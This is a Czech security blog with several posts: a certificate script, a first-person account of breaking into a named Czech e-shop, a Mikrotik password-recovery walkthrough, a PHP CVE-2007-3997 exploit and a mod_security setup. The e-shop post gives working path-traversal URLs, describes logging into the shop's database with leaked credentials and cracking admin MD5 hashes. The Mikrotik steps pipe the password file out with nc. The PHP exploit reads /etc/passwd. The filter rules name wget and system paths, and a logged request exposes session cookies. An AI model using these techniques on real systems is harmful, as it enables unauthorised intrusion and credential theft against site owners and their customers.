Hodžův blog » Bezpečnost

Generování Self-Signed Certifikátu skriptem

admin — Tue, 09 Jun 2009 07:23:11 +0000

Už mě to nebaví pořád psát, takže:

#!/bin/bash SERVER_NAME=$1 OPENSSL_PATH=/usr/bin/openssl $OPENSSL_PATH genrsa -des3 -out $SERVER_NAME.key 1024 $OPENSSL_PATH genrsa -out $SERVER_NAME.key 1024 $OPENSSL_PATH rsa -in $SERVER_NAME.key -out $SERVER_NAME.pem $OPENSSL_PATH req -new -key $SERVER_NAME.pem -out $SERVER_NAME.csr $OPENSSL_PATH x509 -req -days 365 -in $SERVER_NAME.csr -signkey $SERVER_NAME.pem -out $SERVER_NAME.crt

České eshopy „rozdávají“ Vaše data

admin — Mon, 17 Mar 2008 11:17:03 +0000

Nakupování v eshopech se u nás stalo celkem běžnou záležitostí. Není se také čemu divit – ceny bývají oproti kamenným obchodům většinou nesrovnatelné (nesrovnatelně nízké). Zboží si můžeme interaktivně prohlédnout v teple domova, zaplatit převodem přes internet, nechat doručit dobírkou a když se nám nelíbí tak ho zase vrátit. Možná to zní jako pohádka, ale to neznamená, že náš příběh bude mít dobrý konec…

Málo kdo si totiž uvědomuje, že se současným vyplněním objednávky v eshopu zanechává svůj „otisk“. Eshopy obvykle shromažďují data nezbytně nutná (jako je jméno, adresa či telefon). Nebývá ale vy jímkou, když si uloží také údaje mnohem citlivější – jako jsou například informace o vaší platební kartě.

V tom lepším případě, by při nabourání obchodu „hackerem“, mohlo vyjít najevo, že si každý měsíc po výplatě objednáváte nějakou sprosťárničku v sexshopu. V horším případě útočník zjistí i heslo a bude si tak moct číst vaši soukromou poštu s přítelkyní/milenkou/manželkou neboť do emailu zadáváte stejné heslo jako do eshopu. Pokud chcete slyšet hororové scénáře, pak věřte, že není problém využít uložených informací o vaší kartě a objednat si tak jakékoliv zboží, které ve výsledku ovšem nezaplatí útočník, ale vy z vaší karty.

Stále si myslíte, že se vám to nemůže stát neboť nakupujete pouze v renomovaných a velkých eshopech? Chyba!

Před před více jak týdnem jsem zcela náhodou objevil na stránkách jednoho z největších českých prodejců outdoorového vybavení – firmy Rock point zcela zásadní (a naprosto školáckou) bezpečnostní chybu. Ihned jsem prodejce emailově kontaktoval a problém mu nastínil. Bohužel do dnešního dne jsem neobdržel odpověď a chyba je stále neopravená.

O co jde?

Při hledání dokumentace k jednomu z výrobků jsem narazil na následující odkaz:

http://www.rockpoint.cz/download.php?soubor=soubory/seznam_odberatelu_NET.xls

Nebývá zrovna zvykem, že by prodejce uveřejňoval seznam svých odběratelů. To ve mě vyvolalo pocit, že tato stránka měla být před zraky zákazníků ukryta. Začal jsem přemýšlet, co by se stalo, kdybych zadal jako parametr jiný soubor než je seznam_odberatelu_NET.xls. Po chvíli jsem tedy do adresního řádku zadal následující adresu:

http://www.rockpoint.cz/download.php?soubor=soubory/../index.php

Při čemž „index.php“ bývá „startovací stránkou“ webu a řetězec „../“ značí, že se jedná o nadřazený adresář.
To co se stalo mi téměř vyrazilo dech. Zobrazila se mi totiž opravdu zdrojová stránka souboru index.php. Opravdu bych nečekal, že u tak velkého prodejce narazím na tak kritickou chybu.

Ze zvědavosti jsem stejným způsobem procházel všechny ostatní soubory na serveru, až jsem došel k následujícímu:

http://www.rockpoint.cz/download.php?soubor=inc/conf_databaze.php

Tento soubor (jak je již patrné z názvu) obsahuje data potřebná pro připojení k My SQL databázi.
Tím ovšem má zvědavost neskončila. Rozhodl jsem se výsledek ověřit.

V konfiguračním souboru je uveden jako My SQL host „uvdb4.globe.cz“. Vzdálený přístup k této databázi sice není povolen, ale to mě nemohlo odradit. Po chvíli hledání jsem zjistil, že se jedná o server, který je provozován v rámci hostingu Active 24. Na stejnojmenných stránkách jsem pak v sekci podpora našel odkaz k PHPMyAdminovi, který umožňuje spravovat My SQL databáze pomocí web prohlížeče. Kliknul jsem na link a zadal přihlašovací údaje. Nemohlo následovat nic jiného, než úspěšné přihlášení. Přede mnou byl kompletní seznam všech výrobků, uživatelů, objednávek a seznamů prodejen. V podstatě bych v této chvíli mohl eshop plně ovládnout, ale mě zajímala poslední neprozkoumaná věc – administrativní sekce obchodu.

Administrační sekci nebylo zase tak těžké najít. Kupodivu se nacházela na url:

http://www.rockpoint.cz/admin/

Nahlédl jsem zpět do tabulky administrátorů, abych zjistil přihlašovací jméno a heslo. Zde byla alespoň nějaká snaha o zabezpečení – heslo bylo zakódováno pomocí algoritmu MD5. Bohužel tento algoritmus je už dnes „překonaný“. Heslo prvního administrátora jsem tak „rozlouskl“ díky jeho jednoduchosti přes jednu z online HASH databází. Heslo druhého administrátora bylo sice složitější, ovšem pod útokem rainbow tabulek bylo později prolomeno také. Oba účty jsem ještě otestoval – byly funkční. Tím má „práce“ skončila.

Výše uvedený text nenabádá k zneužití popsané chyby. Text byl sepsán z důvodu laxního přístupu administrátorů danných stránek.

Chráněno: Hacked gallery – 11.3.2008

admin — Tue, 11 Mar 2008 10:46:01 +0000

Chráněno: Hacked gallery – 7.3.2008

admin — Fri, 07 Mar 2008 08:28:55 +0000

Mikrotik password recovery aneb zapomenuté heslo – žádný problém

admin — Wed, 13 Feb 2008 11:43:01 +0000

Přináším Vám postup, jak se lehce z Kubuntu Linuxu dostaneme k zapomenutému heslu na routerboardu se systémem Mikrotik.

1. Zapojíme USB->COM redukci. U mě se redukce namapuje na ttyUSB0 – viz hláška z dmesg

[ 8446.216000] usb 1-1: pl2303 converter now attached to ttyUSB0

2. Nainstalujeme TFTP server
# sudo apt-get install atftpd

3. Opravíme konfiguraci démona xinet přidáním parametru „-inetd_compat“
# sudo vi /etc/default/xinetd
XINETD_OPTS="-stayalive -inetd_compat"

4. Nahrajeme alternativní kernel s podporou yaffs2 do adresáře /tftpboot

5. Nainstalujeme DHCP server
# sudo apt-get install dhcp3-server

6. Nastavíme parametry DHCP serveru
# sudo vi /etc/dhcp3/dhcpd.conf
default-lease-time 21600; max-lease-time 43200; option domain-name-servers 10.0.0.1; option netbios-name-servers 10.0.0.1; option netbios-node-type 8; option www-server 10.0.0.1; authoritative; allow booting; allow bootp;

subnet 10.0.0.0 netmask 255.255.255.0 { option routers 10.0.0.1; option subnet-mask 255.255.255.0; option broadcast-address 10.0.0.255; filename "/tftpboot/linuxrc"; range 10.0.0.10 10.0.0.100; }

7. Nastavíme IP adresu na našem síťovém rozhraní, spustíme DHCP a TFTP server
sudo ifconfig eth0 down sudo ifconfig eth0 10.0.0.1 up sudo /etc/init.d/xinetd restart sudo /etc/init.d/dhcp3-server start

8. Spustíme konfiguraci minicomu
# minimcom -s

Vybereme položku „Nastavení sériového portu“ a nastavíme následující parametry:

A - Sériové zařízení : /dev/ttyUSB0 B - Umístění zámku : /var/lock C - Program pro příchozí volání: D - Program pro odchozí volání : E - Bps/Par/Bity : 115200 8N1 F - Hardwarová kontrola toku : Ano G - Softwarová kontrola toku : Ne

Připojíme kabel do Mikrotiku
Mělo by se zobrazit:
MikroTik 2.9.46 MikroTik Login:

Rebootujeme Mikrotik

Zobrazí se:
RouterBOOT booter 2.10 RouterBoard 532A CPU frequency: 399 MHz Memory size: 64 MB Press any key within 2 seconds to enter setup.

Zmáčkneme libovolnou klávesu dříve, než vyprší interval.

Zobrazí se:
RouterBOOT-2.10 What do you want to configure? d - boot delay k - boot key s - serial console o - boot device u - cpu mode f - try cpu frequency c - keep cpu frequency r - reset configuration e - format nand g - upgrade firmware i - board info p - boot protocol t - do memory testing x - exit setup your choice:

Vyberme „o“ pro volbu „boot device“.

Zobrazí se:
Select boot device: e - boot over Ethernet * n - boot from NAND, if fail then Ethernet c - boot from CompactFlash only 1 - boot Ethernet once, then NAND 2 - boot Ethernet once, then CompactFlash o - boot from NAND only b - boot chosen device your choice:

Vybereme „1″ pro boot z Ethernetu (a následně NAND)

Vybereme „p“ pro „boot protocol“.

Zobrazí se:
Choose which boot protocol to use: 1 - bootp protocol * 2 - dhcp protocol your choice:

Vybereme „2″ pro „dhcp“ protocol“

Zobrazí se nám opět úvodní menu
What do you want to configure? d - boot delay k - boot key s - serial console o - boot device u - cpu mode f - try cpu frequency c - keep cpu frequency r - reset configuration e - format nand g - upgrade firmware i - board info p - boot protocol t - do memory testing x - exit setup your choice:

Vybereme „x“ pro uložení a opuštění setupu. Mikrotik se znovu rebootuje.

Nyní by se měl načíst nový kernel – v mém případě z opravené distribuce OpenWrt
BusyBox v1.4.2 (2008-01-15 11:43:12 CET) Built-in shell (ash) Enter 'help' for a list of built-in commands. _______ ________ __ | |.-----.-----.-----.| | | |.----.| |_ | - || _ | -__| || | | || _|| _| |_______|| __|_____|__|__||________||__| |____| |__| W I R E L E S S F R E E D O M KAMIKAZE (7.09) ----------------------------------- * 10 oz Vodka Shake well with ice and strain * 10 oz Triple sec mixture into 10 shot glasses. * 10 oz lime juice Salute! --------------------------------------------------- root@OpenWrt:/#

Vypíšeme si jednotlivé blokové zařízení
#cat /proc/mtd
dev: size erasesize name mtd0: 00400000 00004000 "RouterBoard NAND Boot" mtd1: 03c00000 00004000 "RouterBoard NAND Main"

Připojíme filesystém na kterém jsou uložena hesla
# mount -t yaffs2 -o ro /dev/mtdblock1 /mnt

Na PC si spustíme netcat s následujícími parametry
sudo /bin/netcat -l -p 666 > user.dat

Na mikrotiku zobrazíme soubor s hesly a přes netcat ho pošleme do PC
cat /mnt/nova/store/user.dat|nc 10.0.0.1 666

Na PX spustíme nástroj na lámání hesel
# ./mtpass user.dat
mtpass v0.2 - MikroTik RouterOS password recovery tool Reading file user.dat, 213 bytes long Rec# | Username | Password | Disable flag | User comment -------------------------------------------------------------------------------------------- 1 | admin | mojeheslo | | system default user

Návod vychází z informací na stránkách http://manio.skyboo.net/mikrotik/
Autor neručí za případné škody při použití tohoto návodu.

PHP

admin — Mon, 15 Oct 2007 11:10:05 +0000

První díl, ze „seriálu o bezpečnosti“, aneb tuníme náš server…

Vztahuje se k:
< = PHP 5.2.3
<= PHP 4.4.7

CVE:
CVE-2007-3997

Problém:
Díky rozšířením MySQL a MySQLi v PHP lze obejít bezpečnostní politiku safe_mode.

Detail:
Pomocí funkce MySQL LOCAL INFILE lze získat libovolný soubor ze systému.

Řešení:
1) Kompilovat MySQL klienta s parametrem „–disable-local-infile“
- nepomůže při použití MySQLi, neboť volba se dá znovu povolit příkazem „mysqli->options(MYSQLI_OPT_LOCAL_INFILE, 1);“
2) Do konfiguračního souboru (/etc/mysql/my.cnf) vložit (do sekce [mysqld]) „set-variable=local-infile=0″.

Exploit:
function r($fp, &$buf, $len, &$err) {print fread($fp, $len);}
$m = new mysqli(‘localhost’, ‘aaaa’, “, ‘a’);
$m->options(MYSQLI_OPT_LOCAL_INFILE, 1);
$m->set_local_infile_handler(„r“);
$m->query(„LOAD DATA LOCAL INFILE ‘/etc/passwd’ INTO TABLE a.a“);
$m->close();

Apache mod-security

admin — Wed, 21 Mar 2007 10:46:21 +0000

Několikrát jsem měl bohužel tu „čest“ nahlédnout do zdrojových kódů webových stránek našich klientů a teda řeknu Vám fuj… Troufám si říct, že bych byl schopný během několika málo vteřin vymyslet alespoň 10 XSS útoků. Vzhledem k tomu, že tato firma u nás hostuje více jak 300 různých portálů, bylo mi jasné, že oprava všech php scriptů je nemožná a tak jsem přemýšlel, jak jim alespoň trochu pomoci s bezpečností z mé strany.

Původně jsem zamýšlel použít globalní .htaccess a vněm mod_rewrite. Chtěl jsem parsovat veškeré požadavky na jednotlivé portály a sanitizovat je. Ačkoliv se toto řešení jevilo jako správné, v praxi jsem od něj musel upustit a najít řešení lepší. Oprášil jsem tak své záložky v prohlížeči a narazil na mod_security do Apache. Něco málo jsem o něm slyšel a už dlouho jsem ho chtěl vyzkoušet – teď k tomu byla velice vhodná příležitost.

Instalace na debianu byla více než snadná:

# 1. Nejprve jsem nainstaloval samotný modul
apt-get install libapache2-mod-security

# 2. Následně jsem jej povolili ke spuštění v Apache
a2enmod mod-security

# 3. Nechtěl jsem vymýšlet celou konfiguraci z hlavy a tak jsem si zkopíroval vzorovou
cp /usr/share/doc/libapache2-mod-security/examples/httpd2.conf.example-full /etc/apache2/conf.d/mod_security.conf

# 4. A tu jsem si upravil
vi /etc/apache2/conf.d/mod_security.conf
SecFilterEngine On SecFilterCheckURLEncoding On SecFilterCheckUnicodeEncoding Off SecFilterForceByteRange 0 255 SecAuditEngine RelevantOnly SecAuditLog /var/log/apache2/audit_log SecFilterDebugLog /var/log/apache2/modsec_debug_log SecFilterDebugLevel 0 SecFilterScanPOST On SecFilterDefaultAction "deny,log,status:500" SecFilter /etc/[0-9a-z] SecFilter /bin/[0-9a-z] SecFilter /usr/[0-9a-z] SecFilter /usr/bin/[0-9a-z] SecFilter /tmp/[0-9a-z] SecFilter cd\x20/tmp SecFilter wget\x20 SecFilter "delete[[:space:]]+from" SecFilter "insert[[:space:]]+into" SecFilter "select.+from" SecFilter "< [[:space:]]*script" #SecFilter "<(.|\n)+>"

# 6. Následoval reload Apache serveru
/etc/init.d/apache2 force-reload

Co to všechno umí?
Mod_security nám vyčistí veškeré požadavky (jak GEt tak i POST) od zbytečných dvojitých lomítek (//), odkazů na sebe sama (./), dokáže zaměnit „\“ za „/“, přehodí %00 za obyčejnou mezeru kontroluje validitu a bytovou přesnost požadavku, dokáže vyhodnotit požadavek na základě regexpů.

Na základě detekce „řetezce“ je pak podle konfiguračního souboru (SecFilterDefaultAction) schopný vytvořit i několik akcí mezi něž patří:
deny – zakáže požadavek
allow – zastaví kontrolu pravidel a povolí request
status:xxx, – odpoví s HTTP statusem xxx
redirect:url, – přesměruje požadavek na danou (absolutní) adresu
exec:cmd – vykoná příkaz cmd (vhodné s nějakým odesílátkem emailů)
log – uloží request s detaily do logu
nolog – neukládá request do logu
pass – ignoruje toto pravidlo a pokračuje v dalších pravidlech
pause:xxx – pozdrží request o xxx milisekund (pozor at neprovedete DoS útok na sebe sami)
chain – skočí na další pravidlo v chainu
skipnext:n, přskočí n pravidel

Regexpové filtry
Asi nejjednodušším filtrem v mod_security je zadání SecFilter.
V konfiguračním souboru apache/mod_security máme:
SecFilterEngine On SecFilterCheckURLEncoding On SecFilterCheckUnicodeEncoding Off SecAuditEngine RelevantOnly SecAuditLog /var/log/apache2/audit_log SecFilterDebugLog /var/log/apache2/modsec_debug_log SecFilterScanPOST On SecFilterDefaultAction "deny,log,status:500" SecFilter /etc/passwd

Jakmile do prohlížeče zadáme adresu například http://hodza.net/test.php?shell=/etc/passwd, vyhodí nám prohlížeč chybu 500 a do /var/log/apache2/audit_log zapíše následující:

HTTP/1.1 500 Internal Server Error X-Powered-By: PHP/4.3.10-19 Content-Length: 2166 Connection: close Content-Type: text/html ======================================== Request: 85.160.65.12 - - [21/Mar/2007:11:23:55 +0100] "GET /test.php?shell=/etc/passwd HTTP/1.1" 500 2157 Handler: (null) ---------------------------------------- GET /test.php?shell=/etc/passwd HTTP/1.1 Host: hodza.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Cookie: IMAIL_SESS_KEY_1174461441-18654=LIuOFNUhDI3vlqgL; IMAIL_SESS_KEY_1174458493-41266=6pdFfVCoIZlnTdz2; IMAIL_SESS_KEY_1174458956-45632=22MSPZFhVgcl4HBF; wpthemefd01865e503f46c67c4df25a7c0983da=Magellan; IMAIL_SESS_KEY_1174458444-78097=yICVpRLlelQ7b4WR; IMAIL_TEST_COOKIE=test; PHPSESSID=4968f3ea1b79953b8e1e20febf5c3bfd; phpMyAdmin=d44d6e2f64ccd35352989d45c30a9b90; wordpressuser_fd01865e503f46c67c4df25a7c0983da=admin; wordpresspass_fd01865e503f46c67c4df25a7c0983da=2fb3192c5df98faf13d864c4a3b1fd06; dbx-postmeta=grabit:0+|1-|2-|3-|4-|5-&advancedstuff:0-|1-|2- mod_security-message: Access denied with code 500. Pattern match "/etc/passwd" at THE_REQUEST mod_security-action: 500 HTTP/1.1 500 Internal Server Error X-Powered-By: PHP/4.3.10-19 Content-Length: 2157 Connection: close Content-Type: text/html

Jak vidíte – krásné, jednoduché účinné a spolehlivé.
Další využití mod_security je na snadě. Při psaní příspěvku jsem si vzpomněl na Vlastu, kdy měl v komentářích na blogu snad desetkrát řetězec „Cheap phentermine….“. Přitom stačilo zapnout mod_security a dát do konfiguráku SecFilter „Cheap phentermine“ nebo zakázat spamerského User-Agenta, případně znepřístupnit blok IP adres odkud jsou příspěvky rozesílány.

Dumpování SSL session

admin — Fri, 02 Feb 2007 22:47:35 +0000

Někdy je zapotřebí DUMPovat SSLkové session. Přestože se považuji za velkého crackera a binárního schizofrenika , bez klíče se vám to prostě nepodaří. Dumpovat lze díky tomuto jednoduchému příklazu:

# ssldump -d -A -k /etc/postfix/tls/private_key.pem -i eth1 -n host 195.39.10.7&

Nezapomeňte samozřejmně změnit IP adresu a privátní klíč.